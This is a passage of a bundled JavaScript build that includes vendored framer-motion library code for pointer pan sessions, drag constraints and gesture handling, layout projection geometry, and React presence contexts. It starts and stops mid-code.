16379 const panInfo = getPanInfo(event2.type === "pointercancel" ? this.lastMoveEventInfo : transformPoint(info2, this.transformPagePoint), this.history);
16380 if (this.startEvent && onEnd) {
16381 onEnd(event2, panInfo);
16382 }
16383 onSessionEnd && onSessionEnd(event2, panInfo);
16384 };
16385 if (!isPrimaryPointer(event))
16386 return;
16387 this.dragSnapToOrigin = dragSnapToOrigin;
16388 this.handlers = handlers;
16389 this.transformPagePoint = transformPagePoint;
16390 this.contextWindow = contextWindow || window;
16391 const info = extractEventInfo(event);
16392 const initialInfo = transformPoint(info, this.transformPagePoint);
16393 const { point } = initialInfo;
16394 const { timestamp } = frameData;
16395 this.history = [{ ...point, timestamp }];
16396 const { onSessionStart } = handlers;
16397 onSessionStart && onSessionStart(event, getPanInfo(initialInfo, this.history));
16398 this.removeListeners = pipe(addPointerEvent(this.contextWindow, "pointermove", this.handlePointerMove), addPointerEvent(this.contextWindow, "pointerup", this.handlePointerUp), addPointerEvent(this.contextWindow, "pointercancel", this.handlePointerUp));
16399 }
16400 updateHandlers(handlers) {
16401 this.handlers = handlers;
16402 }
16403 end() {
16404 this.removeListeners && this.removeListeners();
16405 cancelFrame(this.updatePoint);
16406 }
16407 };
16408 function transformPoint(info, transformPagePoint) {
16409 return transformPagePoint ? { point: transformPagePoint(info.point) } : info;
16410 }
16411 function subtractPoint(a3, b3) {
16412 return { x: a3.x - b3.x, y: a3.y - b3.y };
16413 }
16414 function getPanInfo({ point }, history) {
16415 return {
16416 point,
16417 delta: subtractPoint(point, lastDevicePoint(history)),
16418 offset: subtractPoint(point, startDevicePoint(history)),
16419 velocity: getVelocity(history, 0.1)
16420 };
16421 }
16422 function startDevicePoint(history) {
16423 return history[0];
16424 }
16425 function lastDevicePoint(history) {
16426 return history[history.length - 1];
16427 }
16428 function getVelocity(history, timeDelta) {
16429 if (history.length < 2) {
16430 return { x: 0, y: 0 };
16431 }
16432 let i3 = history.length - 1;
16433 let timestampedPoint = null;
16434 const lastPoint = lastDevicePoint(history);
16435 while (i3 >= 0) {
16436 timestampedPoint = history[i3];
16437 if (lastPoint.timestamp - timestampedPoint.timestamp > secondsToMilliseconds(timeDelta)) {
16438 break;
16439 }
16440 i3--;
16441 }
16442 if (!timestampedPoint) {
16443 return { x: 0, y: 0 };
16444 }
16445 const time2 = millisecondsToSeconds(lastPoint.timestamp - timestampedPoint.timestamp);
16446 if (time2 === 0) {
16447 return { x: 0, y: 0 };
16448 }
16449 const currentVelocity = {
16450 x: (lastPoint.x - timestampedPoint.x) / time2,
16451 y: (lastPoint.y - timestampedPoint.y) / time2
16452 };
16453 if (currentVelocity.x === Infinity) {
16454 currentVelocity.x = 0;
16455 }
16456 if (currentVelocity.y === Infinity) {
16457 currentVelocity.y = 0;
16458 }
16459 return currentVelocity;
16460 }
16461
16462 // packages/components/node_modules/framer-motion/dist/es/utils/is-ref-object.mjs
16463 function isRefObject(ref) {
16464 return ref && typeof ref === "object" && Object.prototype.hasOwnProperty.call(ref, "current");
16465 }
16466
16467 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/delta-calc.mjs
16468 var SCALE_PRECISION = 1e-4;
16469 var SCALE_MIN = 1 - SCALE_PRECISION;
16470 var SCALE_MAX = 1 + SCALE_PRECISION;
16471 var TRANSLATE_PRECISION = 0.01;
16472 var TRANSLATE_MIN = 0 - TRANSLATE_PRECISION;
16473 var TRANSLATE_MAX = 0 + TRANSLATE_PRECISION;
16474 function calcLength(axis) {
16475 return axis.max - axis.min;
16476 }
16477 function isNear(value, target, maxDistance) {
16478 return Math.abs(value - target) <= maxDistance;
16479 }
16480 function calcAxisDelta(delta, source, target, origin = 0.5) {
16481 delta.origin = origin;
16482 delta.originPoint = mixNumber(source.min, source.max, delta.origin);
16483 delta.scale = calcLength(target) / calcLength(source);
16484 delta.translate = mixNumber(target.min, target.max, delta.origin) - delta.originPoint;
16485 if (delta.scale >= SCALE_MIN && delta.scale <= SCALE_MAX || isNaN(delta.scale)) {
16486 delta.scale = 1;
16487 }
16488 if (delta.translate >= TRANSLATE_MIN && delta.translate <= TRANSLATE_MAX || isNaN(delta.translate)) {
16489 delta.translate = 0;
16490 }
16491 }
16492 function calcBoxDelta(delta, source, target, origin) {
16493 calcAxisDelta(delta.x, source.x, target.x, origin ? origin.originX : void 0);
16494 calcAxisDelta(delta.y, source.y, target.y, origin ? origin.originY : void 0);
16495 }
16496 function calcRelativeAxis(target, relative, parent) {
16497 target.min = parent.min + relative.min;
16498 target.max = target.min + calcLength(relative);
16499 }
16500 function calcRelativeBox(target, relative, parent) {
16501 calcRelativeAxis(target.x, relative.x, parent.x);
16502 calcRelativeAxis(target.y, relative.y, parent.y);
16503 }
16504 function calcRelativeAxisPosition(target, layout2, parent) {
16505 target.min = layout2.min - parent.min;
16506 target.max = target.min + calcLength(layout2);
16507 }
16508 function calcRelativePosition(target, layout2, parent) {
16509 calcRelativeAxisPosition(target.x, layout2.x, parent.x);
16510 calcRelativeAxisPosition(target.y, layout2.y, parent.y);
16511 }
16512
16513 // packages/components/node_modules/framer-motion/dist/es/gestures/drag/utils/constraints.mjs
16514 function applyConstraints(point, { min: min3, max: max3 }, elastic) {
16515 if (min3 !== void 0 && point < min3) {
16516 point = elastic ? mixNumber(min3, point, elastic.min) : Math.max(point, min3);
16517 } else if (max3 !== void 0 && point > max3) {
16518 point = elastic ? mixNumber(max3, point, elastic.max) : Math.min(point, max3);
16519 }
16520 return point;
16521 }
16522 function calcRelativeAxisConstraints(axis, min3, max3) {
16523 return {
16524 min: min3 !== void 0 ? axis.min + min3 : void 0,
16525 max: max3 !== void 0 ? axis.max + max3 - (axis.max - axis.min) : void 0
16526 };
16527 }
16528 function calcRelativeConstraints(layoutBox, { top, left, bottom, right }) {
16529 return {
16530 x: calcRelativeAxisConstraints(layoutBox.x, left, right),
16531 y: calcRelativeAxisConstraints(layoutBox.y, top, bottom)
16532 };
16533 }
16534 function calcViewportAxisConstraints(layoutAxis, constraintsAxis) {
16535 let min3 = constraintsAxis.min - layoutAxis.min;
16536 let max3 = constraintsAxis.max - layoutAxis.max;
16537 if (constraintsAxis.max - constraintsAxis.min < layoutAxis.max - layoutAxis.min) {
16538 [min3, max3] = [max3, min3];
16539 }
16540 return { min: min3, max: max3 };
16541 }
16542 function calcViewportConstraints(layoutBox, constraintsBox) {
16543 return {
16544 x: calcViewportAxisConstraints(layoutBox.x, constraintsBox.x),
16545 y: calcViewportAxisConstraints(layoutBox.y, constraintsBox.y)
16546 };
16547 }
16548 function calcOrigin(source, target) {
16549 let origin = 0.5;
16550 const sourceLength = calcLength(source);
16551 const targetLength = calcLength(target);
16552 if (targetLength > sourceLength) {
16553 origin = progress(target.min, target.max - sourceLength, source.min);
16554 } else if (sourceLength > targetLength) {
16555 origin = progress(source.min, source.max - targetLength, target.min);
16556 }
16557 return clamp2(0, 1, origin);
16558 }
16559 function rebaseAxisConstraints(layout2, constraints) {
16560 const relativeConstraints = {};
16561 if (constraints.min !== void 0) {
16562 relativeConstraints.min = constraints.min - layout2.min;
16563 }
16564 if (constraints.max !== void 0) {
16565 relativeConstraints.max = constraints.max - layout2.min;
16566 }
16567 return relativeConstraints;
16568 }
16569 var defaultElastic = 0.35;
16570 function resolveDragElastic(dragElastic = defaultElastic) {
16571 if (dragElastic === false) {
16572 dragElastic = 0;
16573 } else if (dragElastic === true) {
16574 dragElastic = defaultElastic;
16575 }
16576 return {
16577 x: resolveAxisElastic(dragElastic, "left", "right"),
16578 y: resolveAxisElastic(dragElastic, "top", "bottom")
16579 };
16580 }
16581 function resolveAxisElastic(dragElastic, minLabel, maxLabel) {
16582 return {
16583 min: resolvePointElastic(dragElastic, minLabel),
16584 max: resolvePointElastic(dragElastic, maxLabel)
16585 };
16586 }
16587 function resolvePointElastic(dragElastic, label) {
16588 return typeof dragElastic === "number" ? dragElastic : dragElastic[label] || 0;
16589 }
16590
16591 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/models.mjs
16592 var createAxisDelta = () => ({
16593 translate: 0,
16594 scale: 1,
16595 origin: 0,
16596 originPoint: 0
16597 });
16598 var createDelta = () => ({
16599 x: createAxisDelta(),
16600 y: createAxisDelta()
16601 });
16602 var createAxis = () => ({ min: 0, max: 0 });
16603 var createBox = () => ({
16604 x: createAxis(),
16605 y: createAxis()
16606 });
16607
16608 // packages/components/node_modules/framer-motion/dist/es/projection/utils/each-axis.mjs
16609 function eachAxis(callback) {
16610 return [callback("x"), callback("y")];
16611 }
16612
16613 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/conversion.mjs
16614 function convertBoundingBoxToBox({ top, left, right, bottom }) {
16615 return {
16616 x: { min: left, max: right },
16617 y: { min: top, max: bottom }
16618 };
16619 }
16620 function convertBoxToBoundingBox({ x: x2, y: y3 }) {
16621 return { top: y3.min, right: x2.max, bottom: y3.max, left: x2.min };
16622 }
16623 function transformBoxPoints(point, transformPoint2) {
16624 if (!transformPoint2)
16625 return point;
16626 const topLeft = transformPoint2({ x: point.left, y: point.top });
16627 const bottomRight = transformPoint2({ x: point.right, y: point.bottom });
16628 return {
16629 top: topLeft.y,
16630 left: topLeft.x,
16631 bottom: bottomRight.y,
16632 right: bottomRight.x
16633 };
16634 }
16635
16636 // packages/components/node_modules/framer-motion/dist/es/projection/utils/has-transform.mjs
16637 function isIdentityScale(scale2) {
16638 return scale2 === void 0 || scale2 === 1;
16639 }
16640 function hasScale({ scale: scale2, scaleX, scaleY }) {
16641 return !isIdentityScale(scale2) || !isIdentityScale(scaleX) || !isIdentityScale(scaleY);
16642 }
16643 function hasTransform(values) {
16644 return hasScale(values) || has2DTranslate(values) || values.z || values.rotate || values.rotateX || values.rotateY || values.skewX || values.skewY;
16645 }
16646 function has2DTranslate(values) {
16647 return is2DTranslate(values.x) || is2DTranslate(values.y);
16648 }
16649 function is2DTranslate(value) {
16650 return value && value !== "0%";
16651 }
16652
16653 // packages/components/node_modules/framer-motion/dist/es/projection/geometry/delta-apply.mjs
16654 function scalePoint(point, scale2, originPoint) {
16655 const distanceFromOrigin = point - originPoint;
16656 const scaled = scale2 * distanceFromOrigin;
16657 return originPoint + scaled;
16658 }
16659 function applyPointDelta(point, translate, scale2, originPoint, boxScale) {
16660 if (boxScale !== void 0) {
16661 point = scalePoint(point, boxScale, originPoint);
16662 }
16663 return scalePoint(point, scale2, originPoint) + translate;
16664 }
16665 function applyAxisDelta(axis, translate = 0, scale2 = 1, originPoint, boxScale) {
16666 axis.min = applyPointDelta(axis.min, translate, scale2, originPoint, boxScale);
16667 axis.max = applyPointDelta(axis.max, translate, scale2, originPoint, boxScale);
16668 }
16669 function applyBoxDelta(box, { x: x2, y: y3 }) {
16670 applyAxisDelta(box.x, x2.translate, x2.scale, x2.originPoint);
16671 applyAxisDelta(box.y, y3.translate, y3.scale, y3.originPoint);
16672 }
16673 var TREE_SCALE_SNAP_MIN = 0.999999999999;
16674 var TREE_SCALE_SNAP_MAX = 1.0000000000001;
16675 function applyTreeDeltas(box, treeScale, treePath, isSharedTransition = false) {
16676 const treeLength = treePath.length;
16677 if (!treeLength)
16678 return;
16679 treeScale.x = treeScale.y = 1;
16680 let node2;
16681 let delta;
16682 for (let i3 = 0; i3 < treeLength; i3++) {
16683 node2 = treePath[i3];
16684 delta = node2.projectionDelta;
16685 const { visualElement } = node2.options;
16686 if (visualElement && visualElement.props.style && visualElement.props.style.display === "contents") {
16687 continue;
16688 }
16689 if (isSharedTransition && node2.options.layoutScroll && node2.scroll && node2 !== node2.root) {
16690 transformBox(box, {
16691 x: -node2.scroll.offset.x,
16692 y: -node2.scroll.offset.y
16693 });
16694 }
16695 if (delta) {
16696 treeScale.x *= delta.x.scale;
16697 treeScale.y *= delta.y.scale;
16698 applyBoxDelta(box, delta);
16699 }
16700 if (isSharedTransition && hasTransform(node2.latestValues)) {
16701 transformBox(box, node2.latestValues);
16702 }
16703 }
16704 if (treeScale.x < TREE_SCALE_SNAP_MAX && treeScale.x > TREE_SCALE_SNAP_MIN) {
16705 treeScale.x = 1;
16706 }
16707 if (treeScale.y < TREE_SCALE_SNAP_MAX && treeScale.y > TREE_SCALE_SNAP_MIN) {
16708 treeScale.y = 1;
16709 }
16710 }
16711 function translateAxis(axis, distance2) {
16712 axis.min = axis.min + distance2;
16713 axis.max = axis.max + distance2;
16714 }
16715 function transformAxis(axis, axisTranslate, axisScale, boxScale, axisOrigin = 0.5) {
16716 const originPoint = mixNumber(axis.min, axis.max, axisOrigin);
16717 applyAxisDelta(axis, axisTranslate, axisScale, originPoint, boxScale);
16718 }
16719 function transformBox(box, transform) {
16720 transformAxis(box.x, transform.x, transform.scaleX, transform.scale, transform.originX);
16721 transformAxis(box.y, transform.y, transform.scaleY, transform.scale, transform.originY);
16722 }
16723
16724 // packages/components/node_modules/framer-motion/dist/es/projection/utils/measure.mjs
16725 function measureViewportBox(instance, transformPoint2) {
16726 return convertBoundingBoxToBox(transformBoxPoints(instance.getBoundingClientRect(), transformPoint2));
16727 }
16728 function measurePageBox(element, rootProjectionNode2, transformPagePoint) {
16729 const viewportBox = measureViewportBox(element, transformPagePoint);
16730 const { scroll } = rootProjectionNode2;
16731 if (scroll) {
16732 translateAxis(viewportBox.x, scroll.offset.x);
16733 translateAxis(viewportBox.y, scroll.offset.y);
16734 }
16735 return viewportBox;
16736 }
16737
16738 // packages/components/node_modules/framer-motion/dist/es/utils/get-context-window.mjs
16739 var getContextWindow = ({ current }) => {
16740 return current ? current.ownerDocument.defaultView : null;
16741 };
16742
16743 // packages/components/node_modules/framer-motion/dist/es/gestures/drag/VisualElementDragControls.mjs
16744 var elementDragControls = /* @__PURE__ */ new WeakMap();
16745 var VisualElementDragControls = class {
16746 constructor(visualElement) {
16747 this.openDragLock = null;
16748 this.isDragging = false;
16749 this.currentDirection = null;
16750 this.originPoint = { x: 0, y: 0 };
16751 this.constraints = false;
16752 this.hasMutatedConstraints = false;
16753 this.elastic = createBox();
16754 this.visualElement = visualElement;
16755 }
16756 start(originEvent, { snapToCursor = false } = {}) {
16757 const { presenceContext } = this.visualElement;
16758 if (presenceContext && presenceContext.isPresent === false)
16759 return;
16760 const onSessionStart = (event) => {
16761 const { dragSnapToOrigin: dragSnapToOrigin2 } = this.getProps();
16762 dragSnapToOrigin2 ? this.pauseAnimation() : this.stopAnimation();
16763 if (snapToCursor) {
16764 this.snapToCursor(extractEventInfo(event).point);
16765 }
16766 };
16767 const onStart = (event, info) => {
16768 const { drag: drag2, dragPropagation, onDragStart } = this.getProps();
16769 if (drag2 && !dragPropagation) {
16770 if (this.openDragLock)
16771 this.openDragLock();
16772 this.openDragLock = setDragLock(drag2);
16773 if (!this.openDragLock)
16774 return;
16775 }
16776 this.isDragging = true;
16777 this.currentDirection = null;
16778 this.resolveConstraints();
16779 if (this.visualElement.projection) {
16780 this.visualElement.projection.isAnimationBlocked = true;
16781 this.visualElement.projection.target = void 0;
16782 }
16783 eachAxis((axis) => {
16784 let current = this.getAxisMotionValue(axis).get() || 0;
16785 if (percent.test(current)) {
16786 const { projection } = this.visualElement;
16787 if (projection && projection.layout) {
16788 const measuredAxis = projection.layout.layoutBox[axis];
16789 if (measuredAxis) {
16790 const length2 = calcLength(measuredAxis);
16791 current = length2 * (parseFloat(current) / 100);
16792 }
16793 }
16794 }
16795 this.originPoint[axis] = current;
16796 });
16797 if (onDragStart) {
16798 frame.postRender(() => onDragStart(event, info));
16799 }
16800 addValueToWillChange(this.visualElement, "transform");
16801 const { animationState } = this.visualElement;
16802 animationState && animationState.setActive("whileDrag", true);
16803 };
16804 const onMove = (event, info) => {
16805 const { dragPropagation, dragDirectionLock, onDirectionLock, onDrag } = this.getProps();
16806 if (!dragPropagation && !this.openDragLock)
16807 return;
16808 const { offset: offset3 } = info;
16809 if (dragDirectionLock && this.currentDirection === null) {
16810 this.currentDirection = getCurrentDirection(offset3);
16811 if (this.currentDirection !== null) {
16812 onDirectionLock && onDirectionLock(this.currentDirection);
16813 }
16814 return;
16815 }
16816 this.updateAxis("x", info.point, offset3);
16817 this.updateAxis("y", info.point, offset3);
16818 this.visualElement.render();
16819 onDrag && onDrag(event, info);
16820 };
16821 const onSessionEnd = (event, info) => this.stop(event, info);
16822 const resumeAnimation = () => eachAxis((axis) => {
16823 var _a;
16824 return this.getAnimationState(axis) === "paused" && ((_a = this.getAxisMotionValue(axis).animation) === null || _a === void 0 ? void 0 : _a.play());
16825 });
16826 const { dragSnapToOrigin } = this.getProps();
16827 this.panSession = new PanSession(originEvent, {
16828 onSessionStart,
16829 onStart,
16830 onMove,
16831 onSessionEnd,
16832 resumeAnimation
16833 }, {
16834 transformPagePoint: this.visualElement.getTransformPagePoint(),
16835 dragSnapToOrigin,
16836 contextWindow: getContextWindow(this.visualElement)
16837 });
16838 }
16839 stop(event, info) {
16840 const isDragging2 = this.isDragging;
16841 this.cancel();
16842 if (!isDragging2)
16843 return;
16844 const { velocity } = info;
16845 this.startAnimation(velocity);
16846 const { onDragEnd } = this.getProps();
16847 if (onDragEnd) {
16848 frame.postRender(() => onDragEnd(event, info));
16849 }
16850 }
16851 cancel() {
16852 this.isDragging = false;
16853 const { projection, animationState } = this.visualElement;
16854 if (projection) {
16855 projection.isAnimationBlocked = false;
16856 }
16857 this.panSession && this.panSession.end();
16858 this.panSession = void 0;
16859 const { dragPropagation } = this.getProps();
16860 if (!dragPropagation && this.openDragLock) {
16861 this.openDragLock();
16862 this.openDragLock = null;
16863 }
16864 animationState && animationState.setActive("whileDrag", false);
16865 }
16866 updateAxis(axis, _point, offset3) {
16867 const { drag: drag2 } = this.getProps();
16868 if (!offset3 || !shouldDrag(axis, drag2, this.currentDirection))
16869 return;
16870 const axisValue = this.getAxisMotionValue(axis);
16871 let next2 = this.originPoint[axis] + offset3[axis];
16872 if (this.constraints && this.constraints[axis]) {
16873 next2 = applyConstraints(next2, this.constraints[axis], this.elastic[axis]);
16874 }
16875 axisValue.set(next2);
16876 }
16877 resolveConstraints() {
16878 var _a;
16879 const { dragConstraints, dragElastic } = this.getProps();
16880 const layout2 = this.visualElement.projection && !this.visualElement.projection.layout ? this.visualElement.projection.measure(false) : (_a = this.visualElement.projection) === null || _a === void 0 ? void 0 : _a.layout;
16881 const prevConstraints = this.constraints;
16882 if (dragConstraints && isRefObject(dragConstraints)) {
16883 if (!this.constraints) {
16884 this.constraints = this.resolveRefConstraints();
16885 }
16886 } else {
16887 if (dragConstraints && layout2) {
16888 this.constraints = calcRelativeConstraints(layout2.layoutBox, dragConstraints);
16889 } else {
16890 this.constraints = false;
16891 }
16892 }
16893 this.elastic = resolveDragElastic(dragElastic);
16894 if (prevConstraints !== this.constraints && layout2 && this.constraints && !this.hasMutatedConstraints) {
16895 eachAxis((axis) => {
16896 if (this.constraints !== false && this.getAxisMotionValue(axis)) {
16897 this.constraints[axis] = rebaseAxisConstraints(layout2.layoutBox[axis], this.constraints[axis]);
16898 }
16899 });
16900 }
16901 }
16902 resolveRefConstraints() {
16903 const { dragConstraints: constraints, onMeasureDragConstraints } = this.getProps();
16904 if (!constraints || !isRefObject(constraints))
16905 return false;
16906 const constraintsElement = constraints.current;
16907 invariant2(constraintsElement !== null, "If `dragConstraints` is set as a React ref, that ref must be passed to another component's `ref` prop.");
16908 const { projection } = this.visualElement;
16909 if (!projection || !projection.layout)
16910 return false;
16911 const constraintsBox = measurePageBox(constraintsElement, projection.root, this.visualElement.getTransformPagePoint());
16912 let measuredConstraints = calcViewportConstraints(projection.layout.layoutBox, constraintsBox);
16913 if (onMeasureDragConstraints) {
16914 const userConstraints = onMeasureDragConstraints(convertBoxToBoundingBox(measuredConstraints));
16915 this.hasMutatedConstraints = !!userConstraints;
16916 if (userConstraints) {
16917 measuredConstraints = convertBoundingBoxToBox(userConstraints);
16918 }
16919 }
16920 return measuredConstraints;
16921 }
16922 startAnimation(velocity) {
16923 const { drag: drag2, dragMomentum, dragElastic, dragTransition, dragSnapToOrigin, onDragTransitionEnd } = this.getProps();
16924 const constraints = this.constraints || {};
16925 const momentumAnimations = eachAxis((axis) => {
16926 if (!shouldDrag(axis, drag2, this.currentDirection)) {
16927 return;
16928 }
16929 let transition = constraints && constraints[axis] || {};
16930 if (dragSnapToOrigin)
16931 transition = { min: 0, max: 0 };
16932 const bounceStiffness = dragElastic ? 200 : 1e6;
16933 const bounceDamping = dragElastic ? 40 : 1e7;
16934 const inertia2 = {
16935 type: "inertia",
16936 velocity: dragMomentum ? velocity[axis] : 0,
16937 bounceStiffness,
16938 bounceDamping,
16939 timeConstant: 750,
16940 restDelta: 1,
16941 restSpeed: 10,
16942 ...dragTransition,
16943 ...transition
16944 };
16945 return this.startAxisValueAnimation(axis, inertia2);
16946 });
16947 return Promise.all(momentumAnimations).then(onDragTransitionEnd);
16948 }
16949 startAxisValueAnimation(axis, transition) {
16950 const axisValue = this.getAxisMotionValue(axis);
16951 addValueToWillChange(this.visualElement, axis);
16952 return axisValue.start(animateMotionValue(axis, axisValue, 0, transition, this.visualElement, false));
16953 }
16954 stopAnimation() {
16955 eachAxis((axis) => this.getAxisMotionValue(axis).stop());
16956 }
16957 pauseAnimation() {
16958 eachAxis((axis) => {
16959 var _a;
16960 return (_a = this.getAxisMotionValue(axis).animation) === null || _a === void 0 ? void 0 : _a.pause();
16961 });
16962 }
16963 getAnimationState(axis) {
16964 var _a;
16965 return (_a = this.getAxisMotionValue(axis).animation) === null || _a === void 0 ? void 0 : _a.state;
16966 }
16967 /**
16968 * Drag works differently depending on which props are provided.
16969 *
16970 * - If _dragX and _dragY are provided, we output the gesture delta directly to those motion values.
16971 * - Otherwise, we apply the delta to the x/y motion values.
16972 */
16973 getAxisMotionValue(axis) {
16974 const dragKey = `_drag${axis.toUpperCase()}`;
16975 const props = this.visualElement.getProps();
16976 const externalMotionValue = props[dragKey];
16977 return externalMotionValue ? externalMotionValue : this.visualElement.getValue(axis, (props.initial ? props.initial[axis] : void 0) || 0);
16978 }
16979 snapToCursor(point) {
16980 eachAxis((axis) => {
16981 const { drag: drag2 } = this.getProps();
16982 if (!shouldDrag(axis, drag2, this.currentDirection))
16983 return;
16984 const { projection } = this.visualElement;
16985 const axisValue = this.getAxisMotionValue(axis);
16986 if (projection && projection.layout) {
16987 const { min: min3, max: max3 } = projection.layout.layoutBox[axis];
16988 axisValue.set(point[axis] - mixNumber(min3, max3, 0.5));
16989 }
16990 });
16991 }
16992 /**
16993 * When the viewport resizes we want to check if the measured constraints
16994 * have changed and, if so, reposition the element within those new constraints
16995 * relative to where it was before the resize.
16996 */
16997 scalePositionWithinConstraints() {
16998 if (!this.visualElement.current)
16999 return;
17000 const { drag: drag2, dragConstraints } = this.getProps();
17001 const { projection } = this.visualElement;
17002 if (!isRefObject(dragConstraints) || !projection || !this.constraints)
17003 return;
17004 this.stopAnimation();
17005 const boxProgress = { x: 0, y: 0 };
17006 eachAxis((axis) => {
17007 const axisValue = this.getAxisMotionValue(axis);
17008 if (axisValue && this.constraints !== false) {
17009 const latest = axisValue.get();
17010 boxProgress[axis] = calcOrigin({ min: latest, max: latest }, this.constraints[axis]);
17011 }
17012 });
17013 const { transformTemplate } = this.visualElement.getProps();
17014 this.visualElement.current.style.transform = transformTemplate ? transformTemplate({}, "") : "none";
17015 projection.root && projection.root.updateScroll();
17016 projection.updateLayout();
17017 this.resolveConstraints();
17018 eachAxis((axis) => {
17019 if (!shouldDrag(axis, drag2, null))
17020 return;
17021 const axisValue = this.getAxisMotionValue(axis);
17022 const { min: min3, max: max3 } = this.constraints[axis];
17023 axisValue.set(mixNumber(min3, max3, boxProgress[axis]));
17024 });
17025 }
17026 addListeners() {
17027 if (!this.visualElement.current)
17028 return;
17029 elementDragControls.set(this.visualElement, this);
17030 const element = this.visualElement.current;
17031 const stopPointerListener = addPointerEvent(element, "pointerdown", (event) => {
17032 const { drag: drag2, dragListener = true } = this.getProps();
17033 drag2 && dragListener && this.start(event);
17034 });
17035 const measureDragConstraints = () => {
17036 const { dragConstraints } = this.getProps();
17037 if (isRefObject(dragConstraints) && dragConstraints.current) {
17038 this.constraints = this.resolveRefConstraints();
17039 }
17040 };
17041 const { projection } = this.visualElement;
17042 const stopMeasureLayoutListener = projection.addEventListener("measure", measureDragConstraints);
17043 if (projection && !projection.layout) {
17044 projection.root && projection.root.updateScroll();
17045 projection.updateLayout();
17046 }
17047 frame.read(measureDragConstraints);
17048 const stopResizeListener = addDomEvent(window, "resize", () => this.scalePositionWithinConstraints());
17049 const stopLayoutUpdateListener = projection.addEventListener("didUpdate", (({ delta, hasLayoutChanged }) => {
17050 if (this.isDragging && hasLayoutChanged) {
17051 eachAxis((axis) => {
17052 const motionValue2 = this.getAxisMotionValue(axis);
17053 if (!motionValue2)
17054 return;
17055 this.originPoint[axis] += delta[axis].translate;
17056 motionValue2.set(motionValue2.get() + delta[axis].translate);
17057 });
17058 this.visualElement.render();
17059 }
17060 }));
17061 return () => {
17062 stopResizeListener();
17063 stopPointerListener();
17064 stopMeasureLayoutListener();
17065 stopLayoutUpdateListener && stopLayoutUpdateListener();
17066 };
17067 }
17068 getProps() {
17069 const props = this.visualElement.getProps();
17070 const { drag: drag2 = false, dragDirectionLock = false, dragPropagation = false, dragConstraints = false, dragElastic = defaultElastic, dragMomentum = true } = props;
17071 return {
17072 ...props,
17073 drag: drag2,
17074 dragDirectionLock,
17075 dragPropagation,
17076 dragConstraints,
17077 dragElastic,
17078 dragMomentum
17079 };
17080 }
17081 };
17082 function shouldDrag(direction, drag2, currentDirection) {
17083 return (drag2 === true || drag2 === direction) && (currentDirection === null || currentDirection === direction);
17084 }
17085 function getCurrentDirection(offset3, lockThreshold = 10) {
17086 let direction = null;
17087 if (Math.abs(offset3.y) > lockThreshold) {
17088 direction = "y";
17089 } else if (Math.abs(offset3.x) > lockThreshold) {
17090 direction = "x";
17091 }
17092 return direction;
17093 }
17094
17095 // packages/components/node_modules/framer-motion/dist/es/gestures/drag/index.mjs
17096 var DragGesture = class extends Feature {
17097 constructor(node2) {
17098 super(node2);
17099 this.removeGroupControls = noop2;
17100 this.removeListeners = noop2;
17101 this.controls = new VisualElementDragControls(node2);
17102 }
17103 mount() {
17104 const { dragControls } = this.node.getProps();
17105 if (dragControls) {
17106 this.removeGroupControls = dragControls.subscribe(this.controls);
17107 }
17108 this.removeListeners = this.controls.addListeners() || noop2;
17109 }
17110 unmount() {
17111 this.removeGroupControls();
17112 this.removeListeners();
17113 }
17114 };
17115
17116 // packages/components/node_modules/framer-motion/dist/es/gestures/pan/index.mjs
17117 var asyncHandler = (handler) => (event, info) => {
17118 if (handler) {
17119 frame.postRender(() => handler(event, info));
17120 }
17121 };
17122 var PanGesture = class extends Feature {
17123 constructor() {
17124 super(...arguments);
17125 this.removePointerDownListener = noop2;
17126 }
17127 onPointerDown(pointerDownEvent) {
17128 this.session = new PanSession(pointerDownEvent, this.createPanHandlers(), {
17129 transformPagePoint: this.node.getTransformPagePoint(),
17130 contextWindow: getContextWindow(this.node)
17131 });
17132 }
17133 createPanHandlers() {
17134 const { onPanSessionStart, onPanStart, onPan, onPanEnd } = this.node.getProps();
17135 return {
17136 onSessionStart: asyncHandler(onPanSessionStart),
17137 onStart: asyncHandler(onPanStart),
17138 onMove: onPan,
17139 onEnd: (event, info) => {
17140 delete this.session;
17141 if (onPanEnd) {
17142 frame.postRender(() => onPanEnd(event, info));
17143 }
17144 }
17145 };
17146 }
17147 mount() {
17148 this.removePointerDownListener = addPointerEvent(this.node.current, "pointerdown", (event) => this.onPointerDown(event));
17149 }
17150 update() {
17151 this.session && this.session.updateHandlers(this.createPanHandlers());
17152 }
17153 unmount() {
17154 this.removePointerDownListener();
17155 this.session && this.session.end();
17156 }
17157 };
17158
17159 // packages/components/node_modules/framer-motion/dist/es/motion/features/layout/MeasureLayout.mjs
17160 var import_jsx_runtime39 = __toESM(require_jsx_runtime(), 1);
17161 var import_react61 = __toESM(require_react(), 1);
17162
17163 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/use-presence.mjs
17164 var import_react58 = __toESM(require_react(), 1);
17165
17166 // packages/components/node_modules/framer-motion/dist/es/context/PresenceContext.mjs
17167 var import_react57 = __toESM(require_react(), 1);
17168 var PresenceContext = (0, import_react57.createContext)(null);
17169
17170 // packages/components/node_modules/framer-motion/dist/es/components/AnimatePresence/use-presence.mjs
17171 function usePresence() {
17172 const context = (0, import_react58.useContext)(PresenceContext);
17173 if (context === null)
17174 return [true, null];
17175 const { isPresent, onExitComplete, register } = context;
17176 const id3 = (0, import_react58.useId)();
17177 (0, import_react58.useEffect)(() => register(id3), []);
17178 const safeToRemove = (0, import_react58.useCallback)(() => onExitComplete && onExitComplete(id3), [id3, onExitComplete]);
17179 return !isPresent && onExitComplete ? [false, safeToRemove] : [true];
17180 }
17181
17182 // packages/components/node_modules/framer-motion/dist/es/context/LayoutGroupContext.mjs
17183 var import_react59 = __toESM(require_react(), 1);
17184 var LayoutGroupContext = (0, import_react59.createContext)({});
17185
17186 // packages/components/node_modules/framer-motion/dist/es/context/SwitchLayoutGroupContext.mjs
17187 var import_react60 = __toESM(require_react(), 1);
17188 var SwitchLayoutGroupContext = (0, import_react60.createContext)({});
17189
17190 // packages/components/node_modules/framer-motion/dist/es/projection/node/state.mjs
17191 var globalProjectionState = {
17192 /**
17193 * Global flag as to whether the tree has animated since the last time
17194 * we resized the window
17195 */
17196 hasAnimatedSinceResize: true,
17197 /**
17198 * We set this to true once, on the first update. Any nodes added to the tree beyond that
17199 * update will be given a `data-projection-id` attribute.
17200 */
17201 hasEverUpdated: false
17202 };
17203
17204 // packages/components/node_modules/framer-motion/dist/es/projection/styles/scale-border-radius.mjs
17205 function pixelsToPercent(pixels, axis) {
17206 if (axis.max === axis.min)
